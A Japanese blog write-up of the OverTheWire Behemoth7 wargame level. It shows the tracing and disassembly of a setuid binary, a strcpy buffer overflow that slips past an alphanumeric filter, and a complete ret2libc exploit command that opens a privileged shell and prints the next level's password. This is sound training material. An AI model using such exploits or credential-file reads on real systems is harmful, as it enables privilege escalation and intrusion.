見出し画像

OverTheWire:Behemoth7



Behemoth もいよいよ最後の問題。次のレベル ( Behemoth8 )のパスワードを入手すれば全問クリアである。今回も気合を入れて解いてゆこう。

前回の記事で入手したパスワードを使用して問題のサーバーに接続する。
ssh behemoth7@behemoth.labs.overthewire.org -p 2221

今回、解析するプログラムは behemoth7  である。

ehemoth7@behemoth:~$ ls -l /behemoth/behemoth7 
-r-sr-x--- 1 behemoth8 behemoth7 5676 Aug 26  2019 /behemoth/behemoth7

とりあえず実行してみる。

behemoth7@behemoth:~$ /behemoth/behemoth7
behemoth7@behemoth:~$ 

ありゃ?何も起きない。
トレースしてみよう。引数も適当に指定して様子を見てみる。

behemoth7@behemoth:~$ ltrace /behemoth/behemoth7 ABCDE
__libc_start_main(0x804852b, 2, 0xffffd774, 0x8048650 <unfinished ...>
strlen("LC_ALL=en_US.UTF-8")                     = 18
memset(0xffffd8b0, '\0', 18)                     = 0xffffd8b0
strlen("LS_COLORS=rs=0:di=01;34:ln=01;36"...)    = 1467
memset(0xffffd8c3, '\0', 1467)                   = 0xffffd8c3
strlen("SSH_CONNECTION=60.100.205.81 491"...)    = 52
memset(0xffffde7f, '\0', 52)                     = 0xffffde7f
strlen("LANG=en_US.UTF-8")                       = 16
memset(0xffffdeb4, '\0', 16)                     = 0xffffdeb4
strlen("USER=behemoth7")                         = 14
memset(0xffffdec5, '\0', 14)                     = 0xffffdec5
strlen("PWD=/home/behemoth7")                    = 19
memset(0xffffded4, '\0', 19)                     = 0xffffded4
strlen("HOME=/home/behemoth7")                   = 20
memset(0xffffdee8, '\0', 20)                     = 0xffffdee8
strlen("SSH_CLIENT=60.100.205.81 49166 2"...)    = 33
memset(0xffffdefd, '\0', 33)                     = 0xffffdefd
strlen("SSH_TTY=/dev/pts/4")                     = 18
memset(0xffffdf1f, '\0', 18)                     = 0xffffdf1f
strlen("MAIL=/var/mail/behemoth7")               = 24
memset(0xffffdf32, '\0', 24)                     = 0xffffdf32
strlen("TERM=xterm-256color")                    = 19
memset(0xffffdf4b, '\0', 19)                     = 0xffffdf4b
strlen("SHELL=/bin/bash")                        = 15
memset(0xffffdf5f, '\0', 15)                     = 0xffffdf5f
strlen("TMOUT=1800")                             = 10
memset(0xffffdf6f, '\0', 10)                     = 0xffffdf6f
strlen("SHLVL=1")                                = 7
memset(0xffffdf7a, '\0', 7)                      = 0xffffdf7a
strlen("LOGNAME=behemoth7")                      = 17
memset(0xffffdf82, '\0', 17)                     = 0xffffdf82
strlen("PATH=/usr/local/bin:/usr/bin:/bi"...)    = 61
memset(0xffffdf94, '\0', 61)                     = 0xffffdf94
strlen("_=/usr/bin/ltrace")                      = 17
memset(0xffffdfd2, '\0', 17)                     = 0xffffdfd2
__ctype_b_loc()                                  = 0xf7e106cc
__ctype_b_loc()                                  = 0xf7e106cc
__ctype_b_loc()                                  = 0xf7e106cc
__ctype_b_loc()                                  = 0xf7e106cc
__ctype_b_loc()                                  = 0xf7e106cc
strcpy(0xffffd4cc, "ABCDE")                      = 0xffffd4cc
+++ exited (status 0) +++

実行時の引数を strcpy() でバッファにコピーしているので、バッファオーバーフローの脆弱性がありそうだ。

バッファは実行可能だろうか?

behemoth7@behemoth:~$ checksec.sh --file /behemoth/behemoth7
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   /behemoth/behemoth7

"NX disabled" なのでバッファは実行可能。
ならば、引数にシェルコードは指定できるだろうか?引数に マシン語の NOP (何もしない命令:0x90)を指定してみる。

behemoth7@behemoth:~$ /behemoth/behemoth7 $(echo -e "\x90")
Non-alpha chars found in string, possible shellcode!

引数が英文字かどうかをチェックしているらしい。
なので、引数にシェルコードを注入してスタック上で実行することは難しそうだ。

デバッガを使用して、もう少しこのプログラムを調べてみよう。

behemoth7@behemoth:~$ gdb -q /behemoth/behemoth7 
Reading symbols from /behemoth/behemoth7...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start AAAAAAAAA
Temporary breakpoint 1 at 0x8048534
Starting program: /behemoth/behemoth7 AAAAAAAAA
Temporary breakpoint 1, 0x08048534 in main ()
(gdb) disas
Dump of assembler code for function main:
  0x0804852b <+0>:	push   ebp
  0x0804852c <+1>:	mov    ebp,esp
  0x0804852e <+3>:	sub    esp,0x20c
=> 0x08048534 <+9>:	mov    eax,DWORD PTR [ebp+0xc]
  0x08048537 <+12>:	mov    eax,DWORD PTR [eax+0x4]
  0x0804853a <+15>:	mov    DWORD PTR [ebp-0x4],eax
  0x0804853d <+18>:	mov    DWORD PTR [ebp-0x8],0x0
  0x08048544 <+25>:	jmp    0x8048583 <main+88>
  0x08048546 <+27>:	mov    eax,DWORD PTR [ebp-0x8]
  0x08048549 <+30>:	lea    edx,[eax*4+0x0]
  0x08048550 <+37>:	mov    eax,DWORD PTR [ebp+0x10]
  0x08048553 <+40>:	add    eax,edx
  0x08048555 <+42>:	mov    eax,DWORD PTR [eax]
  0x08048557 <+44>:	push   eax
  0x08048558 <+45>:	call   0x80483d0 <strlen@plt>
  0x0804855d <+50>:	add    esp,0x4
  0x08048560 <+53>:	mov    edx,eax
  0x08048562 <+55>:	mov    eax,DWORD PTR [ebp-0x8]
  0x08048565 <+58>:	lea    ecx,[eax*4+0x0]
  0x0804856c <+65>:	mov    eax,DWORD PTR [ebp+0x10]
  0x0804856f <+68>:	add    eax,ecx
  0x08048571 <+70>:	mov    eax,DWORD PTR [eax]
---Type <return> to continue, or q <return> to quit---
  0x08048573 <+72>:	push   edx
  0x08048574 <+73>:	push   0x0
  0x08048576 <+75>:	push   eax
  0x08048577 <+76>:	call   0x8048400 <memset@plt>
  0x0804857c <+81>:	add    esp,0xc
  0x0804857f <+84>:	add    DWORD PTR [ebp-0x8],0x1
  0x08048583 <+88>:	mov    eax,DWORD PTR [ebp-0x8]
  0x08048586 <+91>:	lea    edx,[eax*4+0x0]
  0x0804858d <+98>:	mov    eax,DWORD PTR [ebp+0x10]
  0x08048590 <+101>:	add    eax,edx
  0x08048592 <+103>:	mov    eax,DWORD PTR [eax]
  0x08048594 <+105>:	test   eax,eax
  0x08048596 <+107>:	jne    0x8048546 <main+27>
  0x08048598 <+109>:	mov    DWORD PTR [ebp-0xc],0x0
  0x0804859f <+116>:	cmp    DWORD PTR [ebp+0x8],0x1
  0x080485a3 <+120>:	jle    0x8048643 <main+280>
  0x080485a9 <+126>:	jmp    0x8048618 <main+237>
  0x080485ab <+128>:	add    DWORD PTR [ebp-0xc],0x1
  0x080485af <+132>:	call   0x8048410 <__ctype_b_loc@plt>
  0x080485b4 <+137>:	mov    edx,DWORD PTR [eax]
  0x080485b6 <+139>:	mov    eax,DWORD PTR [ebp-0x4]
  0x080485b9 <+142>:	movzx  eax,BYTE PTR [eax]
  0x080485bc <+145>:	movsx  eax,al
---Type <return> to continue, or q <return> to quit---
  0x080485bf <+148>:	add    eax,eax
  0x080485c1 <+150>:	add    eax,edx
  0x080485c3 <+152>:	movzx  eax,WORD PTR [eax]
  0x080485c6 <+155>:	movzx  eax,ax
  0x080485c9 <+158>:	and    eax,0x400
  0x080485ce <+163>:	test   eax,eax
  0x080485d0 <+165>:	jne    0x8048614 <main+233>
  0x080485d2 <+167>:	call   0x8048410 <__ctype_b_loc@plt>
  0x080485d7 <+172>:	mov    edx,DWORD PTR [eax]
  0x080485d9 <+174>:	mov    eax,DWORD PTR [ebp-0x4]
  0x080485dc <+177>:	movzx  eax,BYTE PTR [eax]
  0x080485df <+180>:	movsx  eax,al
  0x080485e2 <+183>:	add    eax,eax
  0x080485e4 <+185>:	add    eax,edx
  0x080485e6 <+187>:	movzx  eax,WORD PTR [eax]
  0x080485e9 <+190>:	movzx  eax,ax
  0x080485ec <+193>:	and    eax,0x800
  0x080485f1 <+198>:	test   eax,eax
  0x080485f3 <+200>:	jne    0x8048614 <main+233>
  0x080485f5 <+202>:	mov    eax,ds:0x8049940
  0x080485fa <+207>:	push   0x80486d0
  0x080485ff <+212>:	push   0x80486d8
  0x08048604 <+217>:	push   eax
---Type <return> to continue, or q <return> to quit---
  0x08048605 <+218>:	call   0x80483f0 <fprintf@plt>
  0x0804860a <+223>:	add    esp,0xc
  0x0804860d <+226>:	push   0x1
  0x0804860f <+228>:	call   0x80483c0 <exit@plt>
  0x08048614 <+233>:	add    DWORD PTR [ebp-0x4],0x1
  0x08048618 <+237>:	mov    eax,DWORD PTR [ebp-0x4]
  0x0804861b <+240>:	movzx  eax,BYTE PTR [eax]
  0x0804861e <+243>:	test   al,al
  0x08048620 <+245>:	je     0x804862b <main+256>
  0x08048622 <+247>:	cmp    DWORD PTR [ebp-0xc],0x1ff
  0x08048629 <+254>:	jle    0x80485ab <main+128>
  0x0804862b <+256>:	mov    eax,DWORD PTR [ebp+0xc]
  0x0804862e <+259>:	add    eax,0x4
  0x08048631 <+262>:	mov    eax,DWORD PTR [eax]
  0x08048633 <+264>:	push   eax
  0x08048634 <+265>:	lea    eax,[ebp-0x20c]
  0x0804863a <+271>:	push   eax
  0x0804863b <+272>:	call   0x80483b0 <strcpy@plt>
  0x08048640 <+277>:	add    esp,0x8
  0x08048643 <+280>:	mov    eax,0x0
  0x08048648 <+285>:	leave  
  0x08048649 <+286>:	ret    
End of assembler dump.
(gdb) 

strcpy() を呼び出している箇所に注目する。

  0x08048634 <+265>:	lea    eax,[ebp-0x20c]
  0x0804863a <+271>:	push   eax
  0x0804863b <+272>:	call   0x80483b0 <strcpy@plt>

コピー用に渡されているバッファのアドレスが ebp - 0x20c となっているので、0x20c バイト(524バイト)以上のデータをこのプログラムに渡すことでバッファオーバーフローが起きることになる。

試してみよう。

(gdb) start $(perl -e 'print "A"x528 . "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 2 at 0x8048534
Starting program: /behemoth/behemoth7 $(perl -e 'print "A"x528 . "BBBB"')
Temporary breakpoint 2, 0x08048534 in main ()
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

想定通り、"BBBB" ( 0x42424242 )のアドレスにジャンプしようとして、エラー終了した。

strcpy() に渡されているバッファのサイズは最大でも 524バイトなのだから、プログラム中で行われている「シェルコードかどうか?」のチェックも524バイト以後はチェックしていないのかもしれない。

試してみよう。 "A" x 528バイト+  NOP (0x90)を入力してみる。

behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "A"x528 . "\x90"')
Segmentation fault
behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "A"x527 . "\x90"')
Segmentation fault
behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "A"x526 . "\x90"')
behemoth7@behemoth:~$ 

少なくとも、526バイト目以後はチェックされていないようだ。
これで、"A"x528文字  + 「ジャンプ先のアドレス(4バイト)」というデータを渡すことで、このプログラムの実行を制御できることが判った。

問題はこの脆弱性を利用して「どうやってシェルを起動するか?」である。
環境変数は全てクリアされるため、環境変数にシェルコードを入れて実行するわけにはいかない。また、スタックも最初の 526バイト目ぐらいまではマシン語を入力できない。

少し考えて、以下の方針で攻略することにした。

<攻略方針>
1)バッファオーバーフローを利用してプログラムの制御を奪い、system関
     数のアドレスにジャンプさせる。
2)  system関数を使って、シェル(/bin/sh )を起動する。

system関数にプログラムがジャンプした時は、あたかも call を使ってジャンプしたような形にスタックを整えておく必要がある。

<system関数にジャンプした直後のスタックの配置>
1 . [ system関数のアドレス                                                   ] 
2 . [ system関数のリターンアドレス                                     ]
3 . [ system関数への引数 ( 文字列 "/bin/sh" へのポインタ) ]

つまり、プログラムに渡すデータは "A" x 528文字 に続けて、上記の 1, 2, 3 を書けば良いわけだ。
また、シェルさえ起動できれば良いので、system関数のリターンアドレスはダミーでよい。シェルから抜けた時にエラー終了するが気にしない。

ところで、上記3 の "/bin/sh" の文字列はどうすれば良いだろうか?
 libc には 文字列 "/bin/sh" が含まれてるので、これを使うことにしよう。

まずは、実行時にロードされるライブラリのアドレスと、ファイルのパスを確認する。これは ldd コマンドで簡単に判る。

behemoth7@behemoth:~$ ldd /behemoth/behemoth7
	linux-gate.so.1 (0xf7fd7000)
	libc.so.6 => /lib32/libc.so.6 (0xf7e12000)
	/lib/ld-linux.so.2 (0xf7fd9000)
behemoth7@behemoth:~$

ライブラリ(libc)のパスは  /lib32/libc.so.6  アドレスは 0xf7e12000 であることが判った。

次に "/bin/sh" という文字列が このライブラリの何バイト目にあるかを調べる。これも strings コマンドで簡単に判る。

behemoth7@behemoth:~$ strings -atx /lib32/libc.so.6 | grep "/bin/sh"
15ccc8 /bin/sh
behemoth7@behemoth:~$ 

文字列 "/bin/sh" は libc の 0x15ccc8 バイト目にあることが判った。
"/bin/sh"の実行時のアドレスは  0x15ccc8 + 0xf7e12000 = 0xf7f6ecc8  になることがこれで判明した。

最後に system関数のアドレスを調べる。
これはデバッガで確認することができる。

 behemoth7@behemoth:~$ gdb -q /behemoth/behemoth7
Reading symbols from /behemoth/behemoth7...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048534
Starting program: /behemoth/behemoth7 
Temporary breakpoint 1, 0x08048534 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c850 <system>
(gdb) quit

system関数のアドレスは  0xf7e4c850 であることが判った。
これで必要な情報が全て揃った。

文字列 "/bin/sh"のアドレスは 0xf7f6ecc8 だったから、下記のコマンドで攻撃すればシェルを起動できることになる。

<攻撃用コマンド>
/behemoth/behemoth7 $(perl -e 'print "A"x528 . "\x50\xc8\xe4\xf7" . "BBBB" . "\xc8\xec\xf6\xf7"')

実際に試してみよう。

behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "A"x528 . "\x50\xc8\xe4\xf7" . "BBBB" . "\xc8\xec\xf6\xf7"')
$ id
uid=13007(behemoth7) gid=13007(behemoth7) euid=13008(behemoth8) groups=13007(behemoth7)
$ cat /etc/behemoth_pass/behemoth8
pheewij7Ae
$ 

想定通りに動作して、シェルが起動した。権限は behemoth8 になっている。
次レベルのパスワードを表示して終了である。

レベル8 は このゲーム ″Behemoth” のゴールである。
どんなメッセージが表示されるのだろうか、上記のパスワードでログインしてみる。

ssh behemoth8@behemoth.labs.overthewire.org -p 2221

ehemoth8@behemoth:~$ ls 
CONGRATULATIONS
behemoth8@behemoth:~$ cat CONGRATULATIONS 
Congratz!!
Now fight for your right to eip=0x41414141!!

なかなか面白いメッセージだ。
これで "Behemoth" はクリア!

今日はこれでおしまい!

この記事が気に入ったらサポートをしてみませんか?